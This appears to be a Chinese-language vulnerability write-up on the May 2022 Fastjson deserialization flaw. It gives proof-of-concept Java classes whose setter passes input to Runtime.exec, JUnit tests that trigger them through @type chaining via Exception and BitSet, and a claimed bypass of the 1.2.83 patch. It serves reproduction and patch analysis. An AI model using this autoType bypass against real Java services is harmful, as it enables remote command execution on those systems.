漏洞简述

2022年05月23日,360CERT监测发现阿里巴巴发布了Fastjson的风险通告,漏洞编号暂无 ,漏洞等级:高危,漏洞评分:8.5。

Fastjson由阿里巴巴开发的开源JSON解析库,由JAVA语言编写。Fastjson可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于具有执行效率高的特点,应用范围广泛。

对此,360CERT建议广大用户及时将Fastjson升级到最新版本。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

POC代码

poc类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.fastjson.poc.error;

import java.io.InputStream;

public class Poc20220523 extends Exception {

public void setName(String str) {
try {
InputStream in = Runtime.getRuntime().exec(str).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in.read(b)) != -1) {
System.out.println(new String(b).trim());
}

} catch (Exception e) {
e.printStackTrace();
}
}

}

攻击代码测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.fastjson.poc.run;


import com.alibaba.fastjson.JSON;
import org.junit.jupiter.api.Test;

public class Poc20220523Test {

@Test
public void fastjsonPocTest() {
String json = "{\"@type\":\"java.util.Exception\",\"@type\":\"com.example.fastjson.poc.error.Poc20220523\",\"name\":\"pwd\"}";
JSON.parse(json);

// String json1 = "{\"@type\":\"java.util.BitSet\",\"@type\":\"com.example.fastjson.poc.error.Poc20220523\",\"name\":\"pwd\"}";
// JSON.parse(json1);
}
}

执行后的效果:

shell命令被执行了

升级到最新版1.2.83,再次执行:

poc类没有被反序列化,抛出异常

3.fastjson源码分析

1.2.83代码改动如下:

1
2
3
4
5
6
7
8
ParseConfig.class类
第1121行
将excepiton加载完成的类重新赋值为空,这样解析Poc20220523这个序列化类的时候expectClass就为null了,从而阻止了Poc20220523类autoType的绕过

但其实没有完全绕过组织,分析源码的发现
只要满足poc类的继承对象在TypeUtils#addBaseClassMappings的方法中初始化的对象中,又不在ParserConfig#initDeserializers的方法中的初始化的对象,都有可能被绕过,从而执行反序列化,引起shell脚本的执行

举例:对比发现BitSet就满足这一情况

poc代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.example.fastjson.poc.error;

import java.io.InputStream;
import java.util.BitSet;

public class Poc20220523 extends BitSet {

public void setName(String str) {
try {
InputStream in = Runtime.getRuntime().exec(str).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in.read(b)) != -1) {
System.out.println(new String(b).trim());
}

} catch (Exception e) {
e.printStackTrace();
}
}

}

攻击代码测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.fastjson.poc.run;


import com.alibaba.fastjson.JSON;
import org.junit.jupiter.api.Test;

public class Poc20220523Test {

@Test
public void fastjsonPocTest() {
// String json = "{\"@type\":\"java.lang.Exception\"," +
// "\"@type\":\"com.example.fastjson.poc.error.Poc20220523\"," +
// "\"name\":\"pwd\"}";
// JSON.parse(json);

String json1 = "{\"@type\":\"java.util.BitSet\"," +
"\"@type\":\"com.example.fastjson.poc.error.Poc20220523\"," +
"\"name\":\"pwd\"}";
JSON.parse(json1);
}
}

执行后的效果:

fastjson为最新版本的1.2.83,但是shell命令被执行了

参考文献

fastjson漏洞复现参考博客: https://www.ddosi.org/fastjson-poc/

fastjson以往漏洞说明参考博客: https://cloud.tencent.com/developer/article/1974944 –待整理

fastjson 20220523漏洞说明github的wiki地址: https://github.com/alibaba/fastjson/wiki/security_update_20220523

fastjson2 github release地址: https://github.com/alibaba/fastjson2/releases(备注:目前版本2.0.14,初始版本为2.0.0 2022-04-17发行)